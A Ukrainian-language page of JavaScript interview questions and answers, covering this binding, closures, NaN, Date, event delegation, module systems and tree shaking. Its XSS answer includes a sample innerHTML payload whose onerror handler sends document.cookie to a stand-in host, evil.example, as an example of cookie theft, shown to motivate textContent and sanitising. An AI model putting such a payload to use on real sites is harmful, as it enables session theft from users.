Увійти Реєстрація
Блог Серії
Кар'єра
Вакансії Компанії
Навчання
Документація Співбесіди Тестування Відео
Екосистема
Пакети Ресурси Проєкти Інструменти Події
Інше
Про нас Реклама

Питання на співбесіді з JavaScript

Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.

114 питань

У звичайній функції this визначається в момент виклику, а не там, де функцію написано:

  • obj.method() - this це obj;
  • просто fn() - undefined у строгому режимі (у модулях і класах він завжди строгий), глобальний об'єкт - у нестрогому;
  • new Fn() - новий об'єкт;
  • fn.call(ctx), fn.apply(ctx), fn.bind(ctx) - явно заданий ctx;
  • в обробнику addEventListener - елемент, на якому висить обробник.

Типова пастка - метод, переданий як колбек:

class Timer {
  seconds = 0;
  tick() { this.seconds++; }
}

const timer = new Timer();
setInterval(timer.tick, 1000); // this === undefined -> TypeError

Метод «відірвався» від об'єкта, і викликається вже як просто функція.

Стрілкова функція не має власного this - вона бере this з місця, де її створено (лексично), і змінити його не можна навіть через call чи bind:

setInterval(() => timer.tick(), 1000);   // працює
// або поле-стрілка в класі:
class Timer2 { seconds = 0; tick = () => { this.seconds++; }; }

Ще відмінності стрілкових функцій: немає власного arguments, їх не можна викликати через new, вони не мають prototype.

Коли НЕ стрілка: методи об'єкта, яким потрібен this цього об'єкта ({ name: 'x', greet: () => this.name } не працює), і обробники, де потрібен this як елемент.

Докладніше в документації: this

Усі три дозволяють явно задати this для звичайної функції:

  • fn.call(ctx, a, b) - викликає функцію одразу, аргументи передаються через кому.
  • fn.apply(ctx, [a, b]) - те саме, але аргументи - масивом.
  • fn.bind(ctx, a) - не викликає, а повертає нову функцію з назавжди прив'язаним this (і, за бажанням, частиною аргументів).
function greet(greeting, punctuation) {
  return `${greeting}, ${this.name}${punctuation}`;
}

const user = { name: 'Оля' };

greet.call(user, 'Привіт', '!');          // 'Привіт, Оля!'
greet.apply(user, ['Вітаю', '.']);         // 'Вітаю, Оля.'

const hello = greet.bind(user, 'Привіт');
hello('?');                                // 'Привіт, Оля?'

Де це трапляється:

  • bind - щоб передати метод як колбек, не загубивши this: button.addEventListener('click', this.onClick.bind(this)). Сьогодні частіше пишуть стрілкову функцію.
  • Часткове застосування: const double = multiply.bind(null, 2).
  • apply історично використовували, щоб передати масив як аргументи: Math.max.apply(null, numbers). Тепер є spread: Math.max(...numbers).
  • Позичання методів: Array.prototype.slice.call(arguments) - тепер замість цього Array.from().

Пастки: функцію, прив'язану через bind, повторний bind уже не перевизначить. А на стрілкові функції call, apply і bind щодо this не впливають узагалі.

Докладніше в документації: Function.prototype.bind

IIFE (immediately invoked function expression) - функція, яку оголошують і одразу викликають:

(function () {
  const secret = 'видно лише тут';
  // ...
})();

(() => {
  // те саме стрілковою функцією
})();

Дужки навколо функції потрібні, щоб рушій сприйняв її як вираз, а не як оголошення функції (яке не можна одразу викликати).

Навіщо їх використовували:

  • ізоляція області видимості. До ES-модулів усі скрипти на сторінці ділили одну глобальну область. Змінні з var на верхньому рівні ставали властивостями window і конфліктували між бібліотеками. IIFE створювала приватну область;
  • шаблон «модуль» - приватний стан плюс публічний інтерфейс:
const counter = (function () {
  let count = 0;
  return {
    increment: () => ++count,
    current: () => count,
  };
})();
  • копія значення в циклі з var - до появи let кожна ітерація ділила одну змінну.

Що змінилося:

  • ES-модулі мають власну область видимості: змінні верхнього рівня модуля не глобальні. Vite, вбудовані <script type="module"> - IIFE для ізоляції не потрібні;
  • let і const мають блокову область видимості - досить фігурних дужок;
  • замикання для приватного стану тепер часто замінюють приватні поля класів (#count).

Де IIFE досі трапляються:

  • асинхронний код на верхньому рівні звичайного скрипта (не модуля), де немає top-level await:
(async () => {
  const config = await loadConfig();
  start(config);
})();
  • результат збирання. Збирачі пакують код для старих оточень і бібліотеки у формат IIFE (наприклад, format: 'iife' у Rollup/Vite) - так вони підключаються одним <script> без конфліктів;
  • ініціалізація константи складною логікою в одному виразі (хоча зазвичай читабельніша окрема функція).

Пастка: рядок перед IIFE без крапки з комою. const a = b і на наступному рядку (function () {})() рушій прочитає як виклик b(...). Звідси звичка ставити ; перед IIFE у коді без крапок з комою.

Докладніше в документації: IIFE

Змінні let, const (і класи) теж «піднімаються» на початок своєї області видимості, але не ініціалізуються. Від початку блоку до рядка оголошення змінна існує, але звертання до неї кидає ReferenceError. Цей проміжок називають тимчасовою мертвою зоною (temporal dead zone).

{
  console.log(price);   // ReferenceError: Cannot access 'price' before initialization
  let price = 100;
}

З var поведінка інша - змінна ініціалізується як undefined, і помилка тихо проходить:

console.log(total);   // undefined
var total = 100;

Чому це «тимчасова», а не «просторова» зона. Важливий момент виконання, а не позиція в тексті:

function showPrice() {
  console.log(price);   // функцію оголошено вище за let...
}
let price = 100;
showPrice();            // ...але викликано після ініціалізації - працює

Неочевидні випадки:

  • typeof не рятує. Для неоголошеної змінної typeof x повертає 'undefined', але для змінної в TDZ - кидає ReferenceError;
  • затінення:
const limit = 10;
function check() {
  console.log(limit);   // ReferenceError: внутрішня limit у TDZ
  const limit = 20;
}

Внутрішнє оголошення «закриває» зовнішнє для всього блоку, а не лише від свого рядка;

  • параметри за замовчуванням: function f(a = b, b = 1) {} - при виклику f() параметр b ще в TDZ;
  • класи: new User() до рядка class User {} теж кидає помилку, на відміну від функцій.

Навіщо це зроблено так:

  • помилка доступу до неініціалізованої змінної видна одразу, а не перетворюється на загадкове undefined;
  • const повинна мати рівно одне значення - побачити її «до» присвоєння було б порушенням цього правила.

Практичний висновок: оголошувати змінні до використання, на початку блоку чи безпосередньо перед ним. Помилки TDZ найчастіше трапляються при циклічних імпортах модулів: модуль звертається до експортованого const іншого модуля, який ще не встиг виконатися.

Докладніше в документації: let: тимчасова мертва зона

Усі числа в JavaScript (крім BigInt) - 64-бітні числа з плаваючою комою за стандартом IEEE 754. Більшість десяткових дробів, як 0.1, у двійковій системі - нескінченні дроби, тож зберігаються з крихітною похибкою.

0.1 + 0.2;           // 0.30000000000000004
0.1 + 0.2 === 0.3;   // false
1.005 * 100;         // 100.49999999999999

Це не баг JavaScript - так само поводяться float у PHP, Python, Java.

Як порівнювати дроби: з допуском:

Math.abs(0.1 + 0.2 - 0.3) < Number.EPSILON; // true

Як рахувати гроші:

  • У найменших одиницях - копійках, як цілі числа: 1999 замість 19.99. Цілі числа до Number.MAX_SAFE_INTEGER (≈ 9 квадрильйонів) представлені точно.
  • Округлення - явне й в одному місці: Math.round(price * quantity).
  • Для складних розрахунків (відсотки, курси, розподіл) - бібліотеки десяткової арифметики (decimal.js, big.js, dinero.js).
  • Показ користувачу - через Intl.NumberFormat:
new Intl.NumberFormat('uk-UA', { style: 'currency', currency: 'UAH' }).format(1999 / 100);
// '19,99 ₴'

toFixed() - для показу, не для розрахунків: він повертає рядок і сам округлює з тією ж похибкою ((1.005).toFixed(2) дає '1.00').

Докладніше в документації: Number

У логічному контексті (if, &&, ||, !, тернарний оператор) кожне значення перетворюється на true чи false. Хибних значень небагато:

false, 0, -0, 0n, '' (порожній рядок), null, undefined, NaN.

Усе інше - істинне, і саме тут сюрпризи:

Boolean('0');      // true - непорожній рядок
Boolean('false');  // true
Boolean([]);       // true - порожній масив
Boolean({});       // true - порожній об'єкт

Де це підводить:

  • Нуль як валідне значення:
function setVolume(level) {
  if (!level) level = 50;   // гучність 0 перетвориться на 50
}

Правильно: level ??= 50 чи явна перевірка level === undefined.

  • Перевірка порожнього масиву: if (items) завжди істинне. Потрібно if (items.length > 0).
  • Рендер у React: {count && <Badge />} при count === 0 виведе на сторінку 0. Правильно: {count > 0 && <Badge />}.
  • Рядки з форми: значення з <input> завжди рядок, і '0' - істинний.

!!value чи Boolean(value) явно перетворюють значення на логічне - корисно, коли функція має повертати саме true/false.

Докладніше в документації: Falsy

NaN (Not a Number) - спеціальне значення типу number, яке означає результат невизначеної чи неможливої числової операції:

typeof NaN;          // 'number'
Number('abc');       // NaN
0 / 0;               // NaN
Math.sqrt(-1);       // NaN
undefined + 1;       // NaN

NaN не дорівнює нічому, навіть собі. Так визначено стандартом IEEE 754 для чисел з рухомою комою:

NaN === NaN;   // false
NaN == NaN;    // false
const x = NaN;
x !== x;       // true - єдине значення з такою властивістю

Тому if (value === NaN) ніколи не спрацює.

Як перевіряти правильно:

Number.isNaN(value);     // true лише для справжнього NaN
Object.is(value, NaN);   // теж true

Не плутати з глобальною isNaN(). Вона спершу перетворює аргумент на число, тож відповідає на інше питання - «чи стане це NaN після перетворення»:

isNaN('abc');          // true - 'abc' перетворився на NaN
Number.isNaN('abc');   // false - це рядок, а не NaN
isNaN(undefined);      // true
isNaN('');             // false - '' перетворюється на 0

Для перевірки «чи є це коректним числом» найзручніше Number.isFinite(value): false для NaN, Infinity і будь-яких нечислових типів.

NaN «заражає» обчислення: будь-яка арифметика з NaN дає NaN. Одне некоректне значення в масиві перетворить суму на NaN:

[10, 20, Number('')].reduce((a, b) => a + b);       // 30 ('' дає 0)
[10, 20, Number('x')].reduce((a, b) => a + b);      // NaN

Звідси правило: перевіряти дані на вході (при парсингу форми чи відповіді API), а не шукати, де з'явився NaN, у кінці розрахунку.

Різні методи по-різному бачать NaN:

  • [NaN].includes(NaN) → true (алгоритм SameValueZero);
  • [NaN].indexOf(NaN) → -1 (строга рівність);
  • new Set([NaN, NaN]).size → 1;
  • JSON.stringify(NaN) → 'null' - NaN тихо перетворюється на null при відправці на сервер.

Докладніше в документації: Number.isNaN()

Об'єкт Date зберігає одну мить у часі - кількість мілісекунд від 1970-01-01 UTC. Часового поясу в ньому немає: методи на кшталт getHours() показують цю мить у поясі браузера користувача, а getUTCHours() - в UTC.

Головні пастки:

1. Місяці з нуля.

new Date(2026, 0, 31);   // 31 січня 2026
new Date(2026, 1, 31);   // 3 березня - «переповнення» тихо переноситься

2. Розбір рядків залежить від формату.

new Date('2026-10-04');        // північ за UTC (лише дата - як UTC)
new Date('2026-10-04T10:00');  // 10:00 за місцевим часом браузера
new Date('04.10.2026');        // залежить від рушія - не використовувати

Користувач у Києві побачить new Date('2026-10-04').getDate() як 4, а в Нью-Йорку - як 3: північ UTC там ще попередній день.

3. Об'єкт змінюваний.

const start = new Date();
const end = start;
end.setDate(end.getDate() + 7);   // змінили і start теж

4. Арифметика місяців. setMonth(month + 1) від 31 січня дає 3 березня (лютого 31-го не існує).

Як працювати безпечно:

  • обмінюватися з сервером у ISO 8601 з поясом: 2026-10-04T07:00:00Z чи з зміщенням +03:00. Laravel за замовчуванням серіалізує дати моделей саме так (UTC з Z);
  • зберігати й передавати мить у UTC, а в місцевий час перетворювати лише для показу;
  • показувати через Intl.DateTimeFormat, а не збирати рядок вручну:
new Intl.DateTimeFormat('uk', {
  dateStyle: 'long',
  timeStyle: 'short',
  timeZone: 'Europe/Kyiv',
}).format(new Date('2026-10-04T07:00:00Z'));
// '4 жовтня 2026 р. о 10:00'
  • «дата без часу» (день народження, дата події) - не перетворювати на Date взагалі, а тримати рядком '2026-10-04', інакше часовий пояс зсуне її на день;
  • відносний час - Intl.RelativeTimeFormat('uk') («3 дні тому»).

Що далі. Новий API Temporal розділяє поняття: Temporal.PlainDate (дата без часу й поясу), Temporal.ZonedDateTime (час у конкретному поясі), Temporal.Instant (мить) - і робить їх незмінними. Він поступово з'являється в браузерах; до повної підтримки - поліфіл або бібліотеки (date-fns, Day.js, Luxon).

Докладніше в документації: Date

Подія в DOM проходить три фази:

  1. Перехоплення (capture) - від window вниз до цільового елемента.
  2. Ціль - на самому елементі.
  3. Спливання (bubble) - назад угору до window.

Обробники за замовчуванням спрацьовують на фазі спливання. Тому клік по кнопці в картці «бачать» і кнопка, і картка, і document.

Делегування - один обробник на спільному предку замість обробника на кожному елементі:

document.querySelector('#todo-list').addEventListener('click', (event) => {
  const button = event.target.closest('[data-action="delete"]');
  if (!button) return;

  removeTodo(button.dataset.id);
});

Переваги:

  • Працює для елементів, доданих пізніше (підвантажені рядки, нові пункти списку) - не треба вішати обробники заново.
  • Один обробник замість тисячі - менше пам'яті й простіше прибирання.

Що треба знати:

  • event.target - елемент, на якому подія виникла (може бути <span> всередині кнопки). event.currentTarget - елемент, на якому висить обробник. Звідси closest() у прикладі.
  • stopPropagation() зупиняє спливання, але ламає делегування й аналітику вище за деревом. Використовувати обережно.
  • Не всі події спливають: focus/blur - ні (зате спливають focusin/focusout), mouseenter/mouseleave - ні (спливають mouseover/mouseout).

Докладніше в документації: Спливання подій

innerHTML розбирає рядок як HTML. Якщо в рядку є дані від користувача, нападник може вставити розмітку, що виконає його JavaScript - це XSS.

comment.innerHTML = `<p>${userInput}</p>`;
// userInput = '<img src=x onerror="fetch(`https://evil.example/?c=${document.cookie}`)">'

Тег <script>, вставлений через innerHTML, не виконується, але обробники-атрибути (onerror, onload) - виконуються, тож цього захисту недостатньо.

Безпечні альтернативи:

  • textContent - для тексту. Усе виводиться як текст, без розбору HTML:
paragraph.textContent = userInput;
  • Створення елементів через DOM API:
const link = document.createElement('a');
link.href = url;            // але перевірте схему: javascript:-посилання теж XSS
link.textContent = title;
list.append(link);
  • Шаблони фреймворків (Vue {{ }}, JSX, Blade {{ }}) екранують дані автоматично. Небезпечні їхні «сирі» варіанти: v-html, dangerouslySetInnerHTML, {!! !!}.
  • Якщо HTML від користувача справді потрібен (редактор форматованого тексту) - лише після санітайзера на зразок DOMPurify, з білим списком тегів і атрибутів.

Додатковий рівень захисту - Content Security Policy, яка забороняє інлайнові скрипти й обробники. Вона не замінює екранування, але ускладнює експлуатацію пропущеної вразливості.

innerHTML також повільніший і знищує обробники подій та стан елементів, які перезаписує.

Докладніше в документації: Element.innerHTML

Усі три властивості читають і записують вміст елемента, але різними способами.

textContent - сирий текст усіх вузлів-нащадків, як він є в DOM:

  • повертає текст прихованих елементів (display: none), вміст <script> і <style>;
  • зберігає пробіли й переноси рядків з розмітки;
  • не викликає перерахунку стилів - швидкий;
  • при записі вставляє текст, а не розмітку: <b> стане видимими символами.

innerText - текст як його бачить користувач:

  • враховує CSS: приховані елементи не потрапляють у результат, text-transform: uppercase змінює регістр, блокові елементи дають переноси рядків;
  • для цього браузер мусить розрахувати розкладку (layout). Читання innerText у циклі - джерело примусових перерахунків і повільної сторінки;
  • при записі теж вставляє текст, але перетворює \n на <br>.

innerHTML - розмітка як рядок HTML:

  • при читанні - серіалізований HTML нащадків;
  • при записі - розбирає рядок як HTML, видаляючи старих нащадків разом з їхніми обробниками подій.
const name = '<img src=x onerror="stealCookies()">';

title.textContent = name;   // безпечно: показується як текст
title.innerHTML = name;     // XSS: виконається onerror

Що обирати:

Задача Властивість
вивести дані користувача чи API textContent
прочитати текст для копіювання так, як його бачать innerText
вставити довірену розмітку з власного шаблону innerHTML (або краще createElement / <template>)

Для запису тексту за замовчуванням - textContent: він швидший і безпечний. Це той самий принцип, що й {{ }} у Blade, який екранує HTML, на відміну від {!! !!}.

Ще варіанти: element.append('текст') теж додає текст безпечно; insertAdjacentHTML('beforeend', html) вставляє розмітку, не руйнуючи наявних нащадків (але так само небезпечний для недовірених даних).

value для полів форми: вміст <input> і <textarea> - це властивість value, а не textContent.

Докладніше в документації: Node.textContent

Крім вбудованих подій (click, submit), можна створювати власні - щоб частини інтерфейсу спілкувалися, не знаючи одна про одну.

// компонент кошика повідомляє, що змінилася кількість товарів
const event = new CustomEvent('cart:updated', {
  detail: { count: 3, total: 1250 },
  bubbles: true,
});
cartElement.dispatchEvent(event);

// лічильник у шапці слухає, не знаючи про кошик нічого, крім назви події
document.addEventListener('cart:updated', (event) => {
  badge.textContent = event.detail.count;
});

Параметри:

  • detail - довільні дані події;
  • bubbles: true - подія спливає до предків. За замовчуванням false: без цього її почують лише обробники на самому елементі, і слухач на document мовчатиме - найчастіша помилка;
  • cancelable: true - слухачі можуть викликати preventDefault(), а той, хто відправив подію, - перевірити результат:
const allowed = form.dispatchEvent(new CustomEvent('order:before-submit', { cancelable: true, bubbles: true }));
if (!allowed) return;   // хтось із слухачів скасував
  • composed: true - подія перетинає межу Shadow DOM (для веб-компонентів).

dispatchEvent синхронний: усі обробники виконуються до того, як виклик поверне керування. Це не черга повідомлень.

Назви подій - з префіксом-простором імен (cart:updated, modal:open), щоб не зіткнутися з вбудованими чи чужими подіями.

Де це використовується у TALL-стеку:

  • Alpine: $dispatch('notify', { message: 'Збережено' }) створює CustomEvent зі спливанням, а @notify.window="..." слухає його на window;
  • Livewire: $this->dispatch('post-created') у PHP доходить до браузера як подія, яку слухають через Livewire.on(...) чи @post-created.window в Alpine. Так серверний компонент повідомляє JavaScript-коду про зміни;
  • інтеграція сторонніх бібліотек (редакторів, карт): бібліотека відправляє подію, Alpine чи Livewire її підхоплюють.

Альтернатива без DOM - EventTarget як шина подій: const bus = new EventTarget(); і ті самі addEventListener/dispatchEvent, коли прив'язка до елемента не потрібна.

Докладніше в документації: CustomEvent

Статичний import завантажує модуль одразу разом з тим, хто його імпортує. Динамічний import(path) - це функція-вираз, що завантажує модуль на вимогу і повертає Promise з об'єктом модуля:

button.addEventListener('click', async () => {
  const { default: Chart } = await import('chart.js/auto');
  new Chart(canvas, config);
});

Бібліотека графіків (сотні кілобайтів) завантажиться, лише коли користувач натисне кнопку.

Розділення коду (code splitting). Збирач бачить import() і виносить модуль з його залежностями в окремий файл. Головний бандл стає меншим - сторінка швидше стає інтерактивною.

Типові застосування:

  • маршрути SPA - кожна сторінка своїм файлом:
const routes = [
  { path: '/reports', component: () => import('./pages/Reports.vue') },
];
  • важкі віджети - редактори тексту, карти, графіки, PDF-переглядачі;
  • рідко потрібні функції - експорт у Excel, модальні вікна налаштувань;
  • локалізація - завантажити лише потрібну мову: await import(`./locales/${lang}.json`);
  • поліфіли лише для браузерів, яким вони потрібні.

Особливості:

  • шаблонний шлях (`./locales/${lang}.js`) збирач обробляє, лише якщо частину шляху відомо: він створить окремий файл для кожного відповідного модуля в папці. Повністю динамічний шлях (import(userInput)) зібрати неможливо. У Vite для таких випадків - import.meta.glob;
  • експорт за замовчуванням приходить як властивість default;
  • помилки мережі: динамічний імпорт може не вдатися (офлайн, або після деплою старий файл зник з сервера). Потрібна обробка: повідомлення, повторна спроба, перезавантаження сторінки. Vite у такому разі генерує подію vite:preloadError;
  • кешування: модуль завантажується один раз; повторні import() повертають той самий екземпляр.

Попереднє завантаження. Щоб користувач не чекав на мережу після кліку, частини можна завантажити заздалегідь - при наведенні на посилання чи в простої: <link rel="modulepreload">. Vite сам додає попереднє завантаження залежностей для частин, що імпортуються динамічно.

Не варто дробити надто сильно: десятки дрібних частин - це десятки запитів і затримка «водоспадом», коли одна частина імпортує іншу. Розділяють за межами використання (маршрут, функція), а не кожен компонент окремо.

Докладніше в документації: import()

CommonJS - система модулів, з якою Node.js жив до ES-модулів:

// CommonJS
const path = require('node:path');
module.exports = { formatPrice };

// ES-модулі
import path from 'node:path';
export { formatPrice };

Ключові відмінності:

CommonJS ES-модулі
завантаження синхронне, під час виконання асинхронне, граф будується до виконання
require/import звичайна функція, будь-де в коді, шлях може бути змінною лише на верхньому рівні, шлях - константа (крім import())
що імпортується копія значення module.exports на момент виклику живе посилання на експортовану змінну
this на верхньому рівні module.exports undefined
__dirname, __filename є немає: import.meta.dirname, import.meta.filename
top-level await ні так
розширення в шляху можна опустити обов'язкове для відносних шляхів (./utils.js)

Як Node.js вирішує, що це за модуль:

  • .mjs - завжди ES-модуль, .cjs - завжди CommonJS;
  • .js - залежно від поля "type" у найближчому package.json: "module" - ES-модулі, "commonjs" чи відсутність поля - CommonJS.

Laravel-проєкти мають "type": "module" у package.json, тож vite.config.js і скрипти пишуться як ES-модулі.

Взаємодія:

  • ES-модуль може імпортувати CommonJS: module.exports стає експортом за замовчуванням;
  • CommonJS імпортує ES-модуль через require() - з Node.js 22.12 це працює без прапорців, якщо модуль не використовує top-level await. Раніше лишався тільки асинхронний await import();
  • пакети з подвійною збіркою містять обидва варіанти й вибирають потрібний через поле exports у package.json.

Навіщо ES-модулі, якщо CommonJS працював:

  • один стандарт для браузера і сервера;
  • статичний аналіз: збирачі й редактори знають залежності без виконання коду - tree shaking, точний автоімпорт, перевірка неіснуючих експортів;
  • асинхронне завантаження підходить для браузера і дає змогу top-level await.

Типові помилки при переході: require is not defined in ES module scope, __dirname is not defined, Cannot use import statement outside a module - усі означають, що файл інтерпретується не в тій системі модулів, ніж написаний.

Докладніше в документації: Node.js: ES-модулі

Tree shaking - видалення з продакшен-збірки коду, який експортується, але ніде не імпортується. Назва - від образу «струсити дерево залежностей, щоб сухе листя впало».

// utils.js
export function formatPrice() { /* ... */ }
export function parseCsv() { /* 20 КБ коду */ }

// app.js
import { formatPrice } from './utils.js';

У зібраному файлі parseCsv не буде.

Чому це можливо лише з ES-модулями: статичні import/export відомі до виконання - збирач будує граф і бачить, що використовується. require() можна викликати динамічно, з обчисленим шляхом, а module.exports змінювати як завгодно - для CommonJS надійно визначити невикористаний код неможливо.

Чому невикористаний код лишається:

1. Побічні ефекти модуля. Якщо модуль при імпорті щось робить (змінює глобальні об'єкти, реєструє компоненти, додає стилі), збирач не може його викинути, навіть якщо експорти не використовуються:

// side-effects.js
window.analytics = createTracker();   // виконується при імпорті
export const unused = 1;

Пакет може оголосити, що його модулі побічних ефектів не мають: "sideEffects": false у package.json (або список файлів з ефектами - наприклад, CSS).

2. Імпорт «всього». import _ from 'lodash' і виклик _.debounce - збирач не знає, які методи об'єкта будуть потрібні. Краще import { debounce } from 'lodash-es' - пакет у форматі ES-модулів з окремими експортами.

3. Пакет у форматі CommonJS. Більшість збирачів обробляють його як єдине ціле.

4. Класи й об'єкти. Метод класу, який ніхто не викликає, не видаляється: збирач видаляє експорти, а не невикористані частини об'єктів.

5. Виклики на верхньому рівні, результат яких не використовується, але які можуть мати ефект: export const config = createConfig(). Позначка /* @__PURE__ */ перед викликом каже збирачу, що виклик чистий і його можна видалити, якщо результат не потрібен.

Як перевірити, що потрапило в бандл: rollup-plugin-visualizer для Vite показує розмір кожного модуля у збірці. Часто виявляється, що одна іконка тягне всю бібліотеку іконок або ціла локалізація моментів дат потрапила через один імпорт.

Tree shaking працює лише в продакшен-збірці. У режимі розробки Vite віддає модулі як є - розмір там не показовий.

Докладніше в документації: Tree shaking

Питання з реальних технічних співбесід - 114 питань у 10 темах, розібраних із відповідями. Нижче - розбивка за рівнями та темами, якщо хочете звузити підготовку.

Рівні
Junior 37 Middle 41 Senior 36

Готуєтесь до співбесіди не просто так: зараз на сайті 145 відкритих вакансій Laravel і PHP. Переглянути вакансії